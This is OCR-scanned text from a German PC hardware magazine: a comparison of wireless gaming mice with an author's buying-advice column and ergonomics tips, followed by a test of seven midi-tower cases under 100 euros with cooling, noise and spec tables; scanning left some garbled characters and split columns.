Sonderausstattung Drahtlos, Dpi-Umschaltung (zwei Stufen, 50-Dpi-Schritte), Dpi-Umschaltung (fünf Stufen, 50-Dpi-Schritte), alle Tasten | Drahtlos, Dpi-Umschaltung, Makrofunktion, Profilspeicher, 
Makrofunktion, Speicher, RGB-Beleuchtung (sechs Effekte für |frei programmierbar, ARM-CPU für Untergrundkalibrierung Beleuchtung, 1.000 Hz Polling Rate, LOD- und Angle-Snap- 
Mausrad, Logo und Daumentasten, separat einstellbar), 1.000 |(Angle-Snapping/Oberflächentunig), Makrofunktion, On- ping-Steuerung (Software), drahtlos und verkabelt nutzbar 
und 2.000 Hz Polling Rate, zwei USB-Kabel (glatter Kunst- ^ |board-Speicher für Makros und Profile, RGB-Beleuchtung mit 
stoff/mit Stoff ummantelt), zwei zusätzliche Omron-Schalter, |zwei Effekten (Logo am Heck und Scrollrad), 1.000 Hz Polling 
Transporttasche Rate, Mikro-USB-Adapter für das Ladekabel 

Eigenschaften: 1,83 1,83 1,63 

Geeignet für/Gewicht/Verarbeitung Rechtshánder/ca. 179 Gramm/sehr gut Rechtshänder/107 Gramm + 10 Gramm/sehr gut Rechts- und Linkshánder/117 Gramm/sehr gut 

Druckpunkte Haupt-/Sondertasten Sehr gut/gut bis sehr gut Sehr gut/gut bis sehr gut Sehr gut/gut 

Druckpunkt/Rasterung Scrollrad Gut/befriedigend bis gut Gut/befriedigend Gut/gut bis sehr gut 

Funktionsumfang und Features Sehr gut/Angle-Snapping verstellbar, Lift-Off-Distanz verstell- |Gut bis sehr gut/Untergrundkalibrierung, Angle-Snapping Seht gut/sehr gut 

Software bar, Untergrundkalibrierung einstellbar/keine Option für die Lift-Off-Distanz 

Leistung: 1,33 1,18 1,21 

Ergonomie Gut bis sehr gut (alle Griffstile) Sehr gut (alle Griffstile) Sehr gut 


Pràzision/1.000 Hz Polling Rate 


Sehr gut/ja — per Software sogar 2.000 Hz möglich 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Gleiteigenschaften 


Sehr gut 


Gut 


Gut 


Abtastverhalten/Lift-Off-Distanz 


Sehr gut/sehr niedrig: ca. 1 mm 


FAZIT 


Q Sehr umfangreiche Software 
© Druckpunkt Haupttasten/Gleiteigenschaften 
© Ergonomie trotz kantiger Form 


Wertung: 1,38 
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Sehr gut/niedrig: ca. 1,5 mm 


© Leistung Sensor, latenzfrei trotz drahtlos 
© Druckpunkt Haupttasten/Umfang Software 
© Rasterung des Scrollrads nicht definiert 


Wertung: 1,43 


Sehr gut/niedrig: ca. 1,5 mm 


© Präzision trotz drahtloser Übertragung 
© Ergonomie 
© Einstellungen werden ohne Software nicht übernommen 


Wertung: 1,56 
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Kabellose High-End-Mäuse in der Praxis 


Kein Kabel, aber viele Tasten? Schwere Akkus, die zu einer leichten Brieftasche führen? 
Beim Kauf von Luxus-Nagern sollte man aufpassen - wir erklären, worauf. 


Die perfekte Maus ist eine subjektive Angelegenheit — 
neben den ergonomischen Aspekten der eigenen Hand 
verhindern auch individuelle Funktionalitätsansprüche, 
dass ein Test die objektiv optimale Lósung findet. Das 
PCGH-Wertungssystem projiziert zwar bestmöglich die 
Durchschnitts-Spielerinteressen auf Máuse vom 15-Eu- 
ro-Einsteiger- bis zum 150-Euro-Spitzenmodell. Aber 
an den Randbereichen kommt es zu Verzerrungen und 
die Kaufinteressenten von 150-Euro-Máusen haben 
selten durchschnittliche Ansprüche. Aus diesem Grund 
ergänzen wir unseren objektiven Maus-Test um die 
subjektive Sicht eines Betroffenen. Ich nutze nàmlich 
schon seit 2005 eine 10-Tasten-Funkmaus und musste 
diesen Winter nach einem Ausfall feststellen, dass die 
Suche nach ádequatem Ersatz ganz schön komplex 
sein kann. 


Kein Kabel, keine Sorgen? 

Ob man interne Akkus oder wechselbare AA-Zellen be- 
vorzugt, ist eine Geschmacksfrage. Sofern letztere wie- 
deraufladbar sein sollen und ein zugehóriges Ladegerät 
extra angeschafft wird, unterscheidet sich nicht einmal 
der Gesamtpreis sonderlich — wohl aber die Handha- 
bung. AA-Akkus müssen regelmäßig zwischen Maus 
und Ladegerät hin und her wechseln. Bei einigen Mäu- 
sen nur alle paar Monate, bei Extremfällen wie meiner 
neuen Logitech G700s aber sogar mehrmals pro Woche. 
Im Gegenzug kann man aber eine Reserve bereithalten 
und ein Akkuaustausch ist bei Alterungserscheinungen 
sehr einfach. Für mich privat der wichtigste Unterschied 
ist aber das Laden bei ausgeschaltetem Rechner: Wer 
die USB-Ports nicht permanent mit Strom versorgen 
móchte, der wird mit einer Ladestation nicht glücklich — 
alle anderen dürften den Komfort zu schátzen wissen. 


Viele Tasten, kein Nutzen? 
Typisch für High-End- und damit viele schnurlose 
Gaming-Mäuse sind zahlreiche Zusatztasten. 7? 9? 


11? 14? Wer noch nie lángere Zeit damit gearbeitet 
hat, wird sich vermutlich nach dem Sinn fragen, und 
tatsáchlich kommen viele Anwender gut mit fünf Tasten 
durch den Alltag. Aber aus eigener Erfahrung kann 

ich sagen: Hat man erst einmal die Möglichkeit, dann 
findet man auch sehr schnell Anwendungen dafür und 
möchte nie wieder zurückwechseln. Tastatur-Shortcuts 
und Truppen-Hotkeys im Strategiespiel? Tab-Wechsel, 
-Wiederherstellung, Zoomen und ein Sprung zum 
Anwortenfeld langer Threads im Browser? Öffnen 

und schließen diverser Untermenüs in Wirtschafts- 
simulationen? Kamera- und Objektsteuerung in der 
3D-Modellierung? Egal, welche Software man benutzt: 
Überall wo sonst die Tastatur zur Hilfe genommen wird 
oder man regelmäßig Extra-Mauswege zu bestimmten 
Schaltflächen zurücklegt (und sei es nur , schlieBen" 
oder , minimieren") lohnen sich Zusatztasten. 


Viele Tasten, viel Chaos? 

Bedingung ist aber, dass die Tasten intuitiv angeordnet 
sind. Zumindest ich kann mir bei den 12-Tasten-Dau- 
menklaviaturen einiger sogenannter MMORPG-Mäuse 
nur schwer merken, wo welcher Befehl platziert wurde. 
Mehrere kleine Gruppen von Tasten erlauben dagegen 
nicht nur eine systematische Verteilung der Funktionen, 
sondern auch deren schnelle Bedienung mit mehreren 
Fingern einschließlich Tastenkombinationen. Eine Para- 
debeispiel hierfür ist Roccats Leadr, die ich mir beinahe 
selbst zugelegt hätte. Obwohl die Maus 12 Tasten 

(und zusätzlich zwei weitere Funktionen auf einem 
analogen Regler) bietet, muss keiner meiner Finger 
mehr als drei Funktionen bedienen. Zugegebenermaßen 
nutze ich den seltenen Drei-Finger-Griff, bei dem der 
Mittelfinger das Mausrad (und in diesem Fall zusätzlich 
die Finnen-Doppeltaste in der Mitte der Maus) bedient, 
während die rechte Maustaste vom Ringfinger bedient 
wird — aber auch mit normalem Zwei-Finger-Griff bleibt 
die Komplexität beherrschbar. Insbesondere leicht 


Der Drei-Finger-Griff (rechts) sieht einen eigenen Finger für die mittlere Maustaste vor, was schnelle Reaktionen 
erleichtert. Die Zwei-Finger-Haltung (links) ist aber weiter verbreitet und einige Mäuse sind nur dafür geeignet. 
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erreichbare Zusatztasten neben der linken Maustaste 
kann ich nur wärmstens empfehlen. 


Chaos verwalten! 

Bevor man anfängt, alle Spiele ohne Tastatur zu spielen 
(Shooter ausgenommen :-)), müssen die Maustasten aber 
händisch mit Tastaturbefehlen belegt werden, denn kein 
Spiel unterstützt ein Dutzend Zusatztasten nativ. Gerade 
Wirtschaftssimulationen und Strategiespiele erlauben oft 
nicht einmal eine Änderung der Standard-Shortcuts. Im 
Extremfall braucht man in diesen Genres für jedes einzel- 
ne Spiel ein eigenes Mausprofil, das Gleiche gilt für 

viele Anwendungen. Für mich privat gab deswegen die 
Software den Ausschlag bei der Entscheidung zwischen 
der akkufressenden G700s und den technisch oder bei 
der Tastenanordnung überlegenen Mäusen wie der Asus 
Spatha oder Roccats Leadr: Sechs respektive fünf Profile 
sind einfach zu wenig, „beliebig viele" mit einer guten 
Spielerkennung dagegen genau richtig. 


Ergonomie individuell prüfen! 

Mäuse für dreistellige Euro-Beträge sollten perfekt 

zur eigenen Hand passen. Da nicht-PCGH-Redakteure 
selten die Möglichkeit haben, sich wochenlang ein Test- 
modell auszuleihen, habe ich rechts ein paar wichtige 
Aspekte für den fünf-Sekunden-Griff im Elektromarkt 
zusammengestellt. Manche Ergonomie-Schwachstellen 
fallen nämlich erst nach mehreren Tagen auf — oder 
wenn man gezielt darauf achtet. 


Fazit: Viel Aufwand, aber er lohnt sich. 
Die Investition in eine kabellose High-End-Maus will 
wohlüberlegt sein. Aber gemessen an der Nutzungszeit 
relativieren sich der einmalige Aufpreis und Mehrauf- 
wand schnell, wenn man sich die nächsten fünf oder 
gar zehn Jahre an der erweiterten Funktionalität erfreut, 
anstatt sich über Kabel-Chaos zu ärgern. Nutzt man 
zusätzlich eine Funktastatur, ist sogar der komplett 
kabelfreie Schreibtisch möglich. Tipp: Platzieren Sie 

die leichten Empfänger doch einfach unsichtbar mit 
Tesafilm auf der Tischunterseite. Aber nicht nur die 
Optik profitiert von einer schnurlosen Maus. Wo keine 
Kabel mehr blockiert werden können, da tun sich neue 
Ablageflächen auf dem Schreibtisch auf. Oder man nutzt 
die Maus in ganz neuen Positionen (ausreichend große 
Schreibtischunterlage als Mauspad vorausgesetzt). Beim 
Browsen zum Beispiel halte ich den Mausarm heute nur 
noch selten angewinkelt zur Seite, sondern führe die 
Maus entspannt vor der Körpermitte — ein Kabel würde 
hier sofort in Konflikt mit der Tastatur geraten. (tv) 
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Maus-Ergonomie - darauf sollte man achten 


Eine Maus für 100 Euro und mehr sollte perfekt zur eigenen Hand passen. Aber 
nicht alles, was sich bei einem schnellen Probegriff gut anfühlt ist auch 
auf Dauer bequem. Offensichtlich wichtig sind Position und 
Art der Tasten. Sehr viele Daumentasten kónnen zum 
Beispiel nicht alle gleichzeitig optimal erreichbar 
sein. Umgekehrt müssen verteilte Tasten nicht 
immer sinnvoll liegen. Achten Sie aber auch 

auf Druckpunkt und Klickgeráusch — einige 
Mäuse können nachts nervend laut sein! Die 
meisten Stolperfallen lauern aber bei der Form 
der Maus selbst: 


Nicht zu groß, nicht zu klein | Die Größe der Maus muss 
zur Hand und zum Griffstil 


passen. Zierliche Personen 
können große Mäuse nicht 
A nur mit den Fingerspitzen 


führen (links zu sehen: 
Beidhändig nutzbare 


Pl 

4 d Asus Spatha), umgekehrt 
ist die flächige Ablage 
großer Pranken auf klei- 
nen Mäusen unmöglich 
(rechts nicht zu sehen: 
Razer Orochi). 
Mäuse bauen meist 


\ 
| Logitech G700s) oder 


ihn seitlich abspreitzen 
(rechts: Asus Spatha). 
| Griffigkeit | Höhe und Griffwinkel Kurzes oder langes Heck? 
Um die Hand bis fast zum Handgelenk auf der Maus 
Mäuse müssen oft angehoben und umplatziert Dauerhaft angewinkelte Handgelenke können zu 
werden. Gummierte oder aufgeraute Seitenwände orthopädischen Problemen führen. Das sollte nicht 


schmal. Aber bei reinen 
Rechtshänder-Modellen 
gibt es einen flieBenden 
Übergang zwischen 
Mäusen, die den Daumen 
beinahe unterhalb des Zei- 
gefingers platzieren (links: 


ablegen zu können, muss das hintere Ende des Nagers 
stark tailliert sein — sonst stört die Daumenwurzel. 
Wer zwecks größerer Beweglichkeit nur Finger und die 
vordere Handfläche auflegt, der dürfte ein steiles, brei- 
tes Heck bevorzugen, das vor den Handballen endet. 


erleichtern dies (einige Beschichtungen altern aber nur bei der Wahl der Tischhöhe, sondern auch beim 
sehr schnell), nach unten hin trapezförmig breiter Mauskauf beachtet werden — einige Exemplare 
werdende Mäuse lassen sich eher schlecht greifen. erzwingen eine vorn angehobene Handhaltung. 
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Groß und günstig? 


Mit modernen Designs, gläsernen Seitenwänden und bunter 


Ge Beleuchtung machen sieben mittelgroße Gehäuse auf sich 


i Ben Re See 

ROCK Заве 18888 aufmerksam. Fallen sie auch mit ihrer Kühlleistung auf? 
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Die solide Ausstattung, ein Innenraumvolumen von 50 Litern, vor allem aber die gut kühlenden und mit 1,3 Sone leisen Lüfter sorgen bei LC-Powers 
Gehäuse für den ersten Platz im Test. Der Preis von 100 Euro ist für diesen mit zwei Glas-Seitenteilen optisch aufgepeppten Midi-Tower angemessen. 


ТЕТЕ 


LC-Power liefert das Gaming 986B ohne Wie viele Testkandidaten verfügt das Gaming 
Frontlüfter aus. Zusätzlich zum 120-mm-Heck- 986B Dark Shadow über eine Netzteilkam- 
lüfter befindet sich ein mitgeliefertes Modell in mer, in der sich neben dem Stromgeber noch 
der schraubenfreien Halterung unterm Deckel. ein 3,5/2,5-Kombi-Laufwerkskáfig befindet. 
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as Gehäuse ist eine beson- 

dere, weil im wahrsten Sin- 
ne des Wortes hervorstechende 
PC-Komponente, die oft mehrere 
Hardware-Generationen überlebt. 
Somit spielen neben den Kühl- 
eigenschaften und der Geräusch- 
kulisse die Optik und Größe beim 
Gehäusekauf eine wichtige Rolle. 
Wie wir herausgefunden haben, 
sind Gehäuse im Midi-Format mit 
einem Innenraumvolumen  zwi- 
schen 40 und 60 Litern bei den 
PCGH-Lesern besonders beliebt. 
Mittelgroße Hardwarebehausun- 
gen bieten ausreichend Platz für 
viele 3,5/2,5-Zoll-Laufwerke, lange 
Grafikkarten mit einer Bauhöhe 
von zwei oder drei Slots sowie län- 
gere Netzteile und Turmkühler mit 
einer Höhe über 16 cm. Doch was 
soll so ein Hardware-Heim kosten? 
Der Markt hält Modelle in einem 
Preisrahmen zwischen 50 und 150 
Euro bereit, wobei wir bei dieser 
Marktübersicht die Preisgrenze bei 
100 Euro setzen. Wir zeigen Ihnen, 
welche Ausstattung Sie für diesen 
Preis erwarten können, und ob 
sich auch günstigere mittelgroße 
Gehäuse gut für den Aufbau eines 
(Zweit-)Spielerechners eignen. 


LC-Power Gaming 986B Dark Sha- 
dow: Testsieger mit guter und vor al- 
lem leiser Kühlung. Die Ausstattung, 
die LC-Power dem mit zwei Seiten- 
teilen aus Glas sowie einer Front 
und einem Deckel aus Alu bestück- 
ten Midi-Tower spendiert, ist nicht 
spektakulär, bietet aber alles, was 
Spieler zum Aufbau eines PCs be- 
nötigen. Ein 3,5/2,5-Zoll-Laufwerks- 
käfig mit zwei Einbauplätzen ist im 
Inneren der Netzteilkammer fest 
verschraubt, drei weitere 3,5-Zoll- 
HDDs lassen sich an der Rückseite 
der auch für E-ATX-Boards geeigne- 
ten Platinenhalterung anbringen. 
Obwohl im Gaming 986B sieben 
Einbaumöglichkeiten für 120-mm- 
Lüfter (Alternative: 360-mm-Radi- 
ator an der Front und 240-mm-Ra- 
diator im Deckel) vorhanden sind, 
liefert LC-Power nur zwei Modelle 
mit und platziert diese ans Heck 
und unter den Deckel. 


Dank eines Innenraumvolumens 
von 50 Litern geht der Hardware- 
Einbau problemlos vonstatten, die 
großzügigen Kabeldurchlässe er- 
möglichen eine ordentliche Verle- 
gung aller Strippen. Hier punktet 
das Gaming 986B genauso wie bei 
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NZXT Source S340 Elite 


Viel schlechter als der Testsieger ist das mit roten Elementen im Innen- 
raum designte Source S340 Elite nicht. Verglichen mit dem Gaming 986B 
verliert der Midi-Tower Wertungspunkte bei der Ausstattung, den Eigen- 
schaften und der Lüfter-Lautheit. Die Kühlung fällt dagegen besser aus. 


Bitfenix Aurora 


Das Aurora von Bitfenix bietet die zweitbeste Ausstattung im Test und 
liegt bei den Eigenschaften (u. a. Besonderheiten beim Zusammenbau) mit 
einer Note von 1,72 knapp hinter dem LC-Power Gaming 986B. Während 
die Kühlleistung bei beiden Gehäusen gleich gut ausfällt, ist die Lautheits- 
entwicklung beim Aurora mit 1,6 Sone höher als beim Testsieger. 


Die rote Netzteilabdeckung ist mit drei de- 
montierbaren SSD-Halterungen. bestückt. Zwei 
120-mm-Lüfter gehören zur Grundausstattung. 


Zur ordentlichen Verlegung der Kabel vom 
Netzteil zur Platine, zur Grafikkarte und zu den 
SSDs/HDDs steht eine Leiste mit nützlichem Clip- 
System bereit. Neben der Netzteilkammer ist 
eine Halterung für drei 3,5-Zoll-HDDs zu finden. 


Auf der rechten Seite des Mainboard-Trays sind 
zwei ausbaubare Halterungen für 2,5-Zoll-SSDs 
befestigt. Für die gute Kühlung ist der Hecklüf- 
ter verantwortlich. Die RGB-Beleuchtung des 

SSD-Docks wird per Modul mit Strom versorgt. 


Am Boden und vorn unter dem Deckel befin- 
den sich demontierbare Laufwerkskäfige für 
je zwei 3,5-Zoll-HDDs. Die Front des Bitfenix 
Aurora lässt sich mit zwei 140-mm-Lüftern be- 
stücken, die nicht zum Lieferumfang gehóren. 
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Mit dem DG7000-G, dessen Innenraum (46,4 Liter) auffällig blau la- 
ckiert ist, beweist Sharkoon erneut, dass ein akzeptabel ausgestatteter 
Midi-Tower mit einer guten Kühlung auch für weniger als 100 Euro zu 
haben ist. Einzig die Lüfter gehen etwas zu geräuschvoll zu Werke. 


Nur 55 Euro ruft Cooltek für den Spar-Tipp dieser Marktübersicht aus. 
Ein Billigheimer ist das TG-01 aber keinesfalls. Für kleines Geld bekom- 
men Sie eine Ausstattung, die u. a. ein Seitenteil sowie die Front aus 
Glas und vier (!) Lüfter umfasst. Letzgenannte kühlen die CPU mit 65 °C 
sehr gut, produzieren dabei jedoch eine Lautheit von 2,3/2,1 Sone. 
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n der Netzteilkammer verbirgt sich eine 
Befestigungsmóglichkeit für drei 3,5- oder 
2,5-Zoll-Laufwerke. Zwei weitere 2,5-HDDs/SSDs 
assen sich in Halterungen einbauen, die an der 
Rückseite des Mainboard-Trays montiert sind. 


Bei der Ausstattung glänzt das Sharkoon DG 
7000-G. Drei Lüfterplätze sind mit leuchtenden 
140-mm-Propellern bestückt. Zwei weitere 
lassen sich an dem mit einem magnetischen 
Staubschutz versehenen Deckel befestigen. 


Bei der Lüfterbestückung lässt sich Cooltek 
nicht lumpen. Zum Lieferumfang gehören vier 
eider nicht ganz so leise 120-mm-Modelle. 


Wie LC-Power beim Gaming 986B oder NZXT 
beim Source S340 Elite setzt auch Cooltek beim 
preiswerten TG-01 auf ein Innenraumdesign mit 
Netzteilkammer. Hier findet man auch den Kom- 
bi-Käfig für zwei 3,5- oder 2,5-Zoll-Laufwerke. 


der Kühlung der Komponenten. Wir 
messen 70 °C für die CPU, 72 °C für 
die GPU und 41 °C im Innenraum. 
Dabei gehen die mitgelieferten Lüf- 
ter mit 1,3/1,3 Sone angenehm leise 
zu Werke und sichern dem Gaming 
986B den ersten Platz im Testfeld. 


NZXT Source 340S Elite: Bessere, 
aber geráuschintensivere Kühlung 
als beim Testsieger. Obwohl das 
Source 340 S Elite nur über ein glà- 
sernes Seitenteil verfügt, macht der 
Midi-Tower optisch mehr her als der 
Testsieger. Das liegt an den in auf- 
fälligem Rot lackierten Elementen 
im Innenraum, der mit 41,6 Litern 
ausreichend groß für einen unkom- 
plizierten Komponenteneinbau aus- 
fällt. Dabei hat sich die rote Leiste 
für das Kabelmanagement mit ih- 
rem Clip-System als nützliches Extra 
erwiesen. Die Einbaumöglichkeiten 
für Lüfter (siehe Testtabelle) und 
Laufwerke bleiben wie beim LC- 
Power Gaming 986B überschaubar. 
Die Netzteilkammer ist von außen 
mit drei entfernbaren Halterungen 
für 2,5-Zoll-SSDs/HDDs bestückt. Im 
Inneren befindet sich ein Käfig für 
drei nur mäßig entkoppelte 3,5-Zoll- 
Festplatten. 5,25-Zoll-Laufwerks- 
plätze sind beim Source $3408 Elite, 
wie bei fünf weiteren Gehäusen im 
Testfeld, nicht vorhanden. 


Im direkten Vergleich mit dem Erst- 
platzierten hat das NZXT Source 
3405 Elite bei der Kühlung sogar 
die Nase vorn. Die beiden mitge- 
lieferten 120-mm-Lüfter (Deckel/ 
Heck) kühlen die CPU mit 66 °C 
und die GPU mit 71 °C (Innenraum: 
29 °С) gut bis sehr gut. Die Lautheit 
die sie dabei produzieren, fällt je- 
doch mit 1,8/1,5 Sone hóher aus als 
beim Gaming 986B (1,3/1,3 Sone). 


Bitfenix Aurora: Ordentliche Kompo- 
nentenkühlung mit nur einem Lüfter. 
Bei der Ausstattung zieht das mit 
zwei gläsernen Seitenteilen und 
einer Soft-Touch-Oberfläche ver- 
schónerte Bitfenix Aurora mit dem 
Erstplatzierten gleich, setzt aber 
andere Akzente. Auf eine Netzteil- 
kammer wird verzichtet und die 
beiden Laufwerkskäfige für je zwei 
3,5-Zoll-HDDs können genauso 
aus dem großen Innenraum (54,8 
Liter) entfernt werden wie die 
SSD-Halterung, die mit einer RGB- 
Beleuchtung (Asus-Aura-kompati- 
bel) aufgepimpt werden kann. Den 
Controller für die Lichtspielereien 
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platziert Bitfenix genauso wie zwei 
weitere 2,5-Zoll-Laufwerksbefesti- 
gungen auf der Rückseite des mit 
drei großen Aussparungen für die 
Kabelverlegung versehenen Main- 
board-Trays. Wie von Bitfenix ge- 
wohnt, präsentiert sich das Aurora 
WaKü-freundlich, denn unter dem 
Deckel und an der Front ist Platz 
für je einen Wärmetauscher mit 
maximal 280 mm Länge. 


Wer auf Luftkühlung setzt, findet 
bei Auslieferungszustand nur einen 
120-mm-Propeller im Heck, der mit 
70 °C (CPU), 72 °C (GPU) und 42 
°C (Innenraum) eine ordentliche 
Kühlleistung abliefert. Die dabei 
auftretende Geräuschentwicklung 
ist mit 1,6/1,6 klar wahrnehmbar, 
aber nicht störend. Die Lüfter des 
Testsiegers arbeiten mit nur 1,3/1,3 
Sone allerdings noch etwas leiser. 


Sharkoon DG7000-G: Auffällig ge- 
staltet, durchdacht ausgestattet und 
günstig angeboten. Wer für ein gu- 
tes, mittelgroßes Gehäuse weniger 
als 100 Euro ausgeben will, ist bei 
Sharkoon genau richtig. Obwohl 
für das DG7000-G nur 70 Euro fäl- 
lig werden, kann man sich weder 
über die Zahl der Lüfterplätze (sie- 
he Testtabelle) noch über die Mon- 
tagemöglichkeiten für Laufwerke 
beschweren. Wie bei vielen Test- 
kandidaten findet man auch hier im 
blau lackierten Innenraum (46,1 Li- 
ter) eine Netzteilkammer, in die der 
Kombi-Käfig für drei 3,5/2,5-Zoll- 
Laufwerke eingebaut ist. Zusätzlich 
zu den zwei SSD-Halterungen auf 
der Rückseite des Mainboard-Trays 
kann man einen Einschub der zwei 
5,25-Zoll-Laufwerksbefestigungen 
für eine 3,5-Zol-HD nutzen. Mit 
drei blau beleuchteten Propellern 
fällt die Lüfterbestückung ab Werk 
gut bis sehr gut aus. Wer lieber auf 
die Kühleigenschaften von Wasser 
setzt, kann einen 280-mm-Radiator 
mit einer Gesamtbauhöhe von bis 
zu 5,7 cm inklusive Lüfter in der 
Front des Gehäuses nutzen. 


Das Lüftertrio des DG7000-G macht 
einen akzeptablen Job und kühlt 
die CPU auf 72 °C respektive die 
GPU auf 70 °C (Innenraum: 32,6), 
wobei der Grafikkartenlüfter mit 
2060 U/min die geringste Drehzahl 
aufweist. Die dabei entstehende 
Lautheit von 1,9/1,8 Sone kann als 
deutlich hörbar, jedoch noch nicht 
als störend bewertet werden. 
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Mit 61,1 Litern Innenraumvolumen könnte Cougars Panzer auch als 
Big-Tower durchgehen. Seine überschaubaren Montagemöglichkeiten 
für Laufwerke und seine Kühlleistung (CPU: 69 °C/GPU: 72 °C) weisen ihn 
nur als mittelgroßes Modell mit einem (!) unüberhörbaren Lüfter aus. 
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Das Einsteigermodell von Fractal Design liegt preislich auf demselben 
Niveau wie unser Spar-Tipp, bietet aber die schlechtere Ausstattung. 
Bei der Leistungsbewertung muss sich das Focus G ebenfalls geschla- 
gen geben, denn die Kühlleistung fällt mit 70 °C bei der CPU und 74 °C 
bei der GPU deutlich höher aus als bei unserem Spartipp (65 °C/72 °C). 


Zwei der vier 2,5-Zoll-Laufwerkshalterungen 
sind auf der Oberseite der Netzteilkammer 
platziert und lassen sich entfernen. Ein ma- 
gnetischer Staubschutz für die Front gehört zur 
Ausstattung, die passenden Lüfter jedoch nicht. 


eben zwei Befestigungen für 3,5-Zoll-HDDs 
sind noch zwei Halterungen für 2,5-Zoll-Lauf- 
werke auf der Rückseite des Mainboard-Tray 
angebracht. Für die ordentliche Kühlung der 
Hardware ist der Hecklüfter verantwortlich. 


rotz des Kampfpreises von 55 Euro spendiert 
Fractal Design dem Focus G zwei 120-mm-Lüfter. 
Die befördern Frischluft ins Gehäuseinnere. Die 
Abluft des GPU- und GPU-Lüfters muss ohne 
Hilfe eines Propeller nach außen entweichen. 


ee 


Die Zahl der Laufwerksplätze im Focus G ist 
überschaubar. Der Kombikàfig nimmt je zwei 
2,5- oder 3,5-Zoll-Laufwerke auf. Eine weitere 
Befestigungsmöglichkeit für eine SSD befindet 
sich auf der Rückseite des Mainboard-Trays. 
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Cooltek TG-01: Spar-Tipp mit viel 
Glas, RGB-Lichtspielereien und lau- 
ten Lüftern. 55 Euro sind für ein 
mittelgroßes Gehäuse mit einem 
Seitenteil und einer Frontpartie aus 
Glas wirklich ein Kampfpreis. Ein 
Billigangebot ist Coolteks ТС-01 
aber keinesfalls, denn die Ausstat- 
tung fällt in der Summe nicht deut- 
lich schlechter aus als beispielswei- 
se beim Testsieger oder unserem 
Preis-Leistungs-Tipp. Der Einbau- 
platz für Laufwerke fällt mit einem 
Kombi-Käfig für zwei 3,5/2,5-Zoll- 
Laufwerke in der Netzteilkammer 


und zwei Montageplätzen für 
2,5-Zoll-SSDs an der Rückwand 
der Mainboardhalterung zwar 
überschaubar aus, aber bei der Lüf- 
terbestückung lässt sich Cooltek 
trotz des attraktiven Preises nicht 
lumpen und bestückt das TG-01 
gleich mit vier 120-mm-Propellern, 
wobei die drei an der Front über 
eine RGB-Beleuchtung (vier Effek- 
te) verfügen, die per Knopfdruck 
gesteuert wird. Im Zusammenspiel 
mit dem Propeller im Heck kühlen 
die drei Frontlüfter die CPU auf 
sehr gute 65 °C und die GPU auf 


GEHÄUSE: 
MIDI-TOWER 


Auszug aus Testtabelle 
mit 39 Wertungskriterien 


Gehäuse 
Hersteller (Webseite) 


akzeptable 72 °C (Innenraum: 40,8 
°C). Leise sind sie allerdings nicht, 
denn wir messen mit 2,3/2,1 Sone 
den höchsten Wert im Testfeld. 


Cougar Panzer: Viel Platz, der leider 
nicht immer genutzt wird. Mit 61 
Litern Innenraumvolumen könnte 
Cougars eher großes denn mittel- 
großes Gehäuse auch in der Liga 
der Big-Tower mitspielen. Cougar 
nutzt den großzügigen Raum des 
Panzer leider nicht aus, das macht 
sich vor allem bei der Laufwerksbe- 
stückung bemerkbar. Neben zwei 


Halterungen für zwei 3,5/2,5-Lauf- 
werke und zwei 2,5-Zoll-SSD/HDD- 
Montageplätzen auf der Rückseite 
des Mainboard-Trays gibt es nur 
noch zwei weitere Befestigungen 
für SSDs auf der Netzteilkammer. 
Bei den Lüfterplätzen sieht die Lage 
wieder besser aus, denn insgesamt 
acht 120-mm-Luftquirle lassen sich 
am Deckel, der Front, im Heck und 
am Boden unterbringen. Alterna- 
tiv nimmt ein 360-mm-Radiator an 
der Front oder im Deckel Platz. Für 
eine optimale Kühlung wären das 
die besten Voraussetzungen, wenn 


Hardware 


Gaming 986B Dark Shadow 


LC-Power (www.lc-power.com) 


4 
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- 
= 
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Source S340 Elite 
NZXT (www.nzxt.com) 


Aurora 
Bitfenix (www.bitfenix.com) 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1531267 


www.pcgh.de/preis/1518432 


www.pcgh.de/preis/1492027 


Preis/Preis-Leistungs-Verháltnis/getestete Version 


Ca. € 100,-/2-/beide Seitenfenster aus Glas, keine Dämmung 


Ca. € 95,-/3/Seitenfenster, keine Dämmung 


Ca. € 100,-/3-/beide Seitenfenster aus Glas, keine Dämmung 


mm, Seite:-, Boden:-, Netzteilkammer (oben): 1 x 120 mm 


Ausstattung (20 %) 3,61 3,81 EXT) 

Plátze für Laufwerke 2 x 3,5/2,5 Zoll, 3 x 3,5 Zoll, 3 x 2,5 Zoll 3 x 3,5 Zoll, 4 x 2,5 Zoll 4x 3,5 Zoll, 3 x 2,5 Zoll 

Erweiterungs-Slots (Blende) Sieben Sieben Sieben 

Handbuch Faltblatt (einfach) Faltblatt (sehr ausführlich) Sehr ausführlich 

Lüfterplátze Deckel: 2 x 120 mm, Front: 3 x 120 mm, Heck: 1 x 120 — |Deckel: 1 x 140/120 mm, Front: 2 x 140/120 mm, Heck: | Deckel: 2 x 140/120 mm, Front: 2 x 140/120 mm, Heck: 


1 x 120 mm, Seite:-, Boden:- 


1 x 120 mm, Seite:-, Boden:- 


Vorhandene Lüfter 


2x 120 mm (Deckel/Heck) 


2 x 120 mm (Heck/Deckel) 


1x 120 mm (Heck) 


Frontanschlüsse 


2 x USB 3.0, 2 x USB 2.0, Audio 


2 x USB 3.0, 2 x USB 2.0, HDMI, Audio 


2 x USB 3.0, 2 x USB 2.0, Audio 


Besonderheiten 


Beide Seitenteile aus Glas, beleuchtete Lüfter, 
SSD-Montage auf Rückseite der Mainboard-Halterung, 
werkzeuglose Laufwerksbefestigung, Netzteilkammer, 
Staubschutz am Boden 


Ein Seitenteil aus Glas, magnetischer Staubschutz an der 
Front, SSD-Montage an der Netzteilkammer, Halterung 
für Headset oder VR-Brille mit Kabelmanagement (bis 2,5 
Meter Länge), Netzteilkammer, Staubschutz an Front und 
Boden, Kabelmanagement mit Clip-Technik 


Beide Sichtfenster aus Glas, RGB-Beleuchtung für 
2,5-Zoll-Laufwerk (Asus Aura kompatibel), SSD-Montage 
auf Rückseite der Mainboard-Halterung, Wakü-Schlauch- 
ausgänge/Metallhalterungen für den WaKü-Reservoir-Be- 
hálter (Deckel und Front), Werkzeuglose Laufwerksbefesti- 
gung, Staubschutz an Front, Boden und Deckel 


Verwindungssteifheit 


Eigenschaften (20 %) 1,68 1,97 172 

Material (nicht gewertet) Stahl, Aluminium und Glas Stahl, Kunststoff und Glas Stahl, Kunststoff und Glas 
Gewicht (nicht gewertet) 9,0 kg 8,1 kg 10,2 kg 

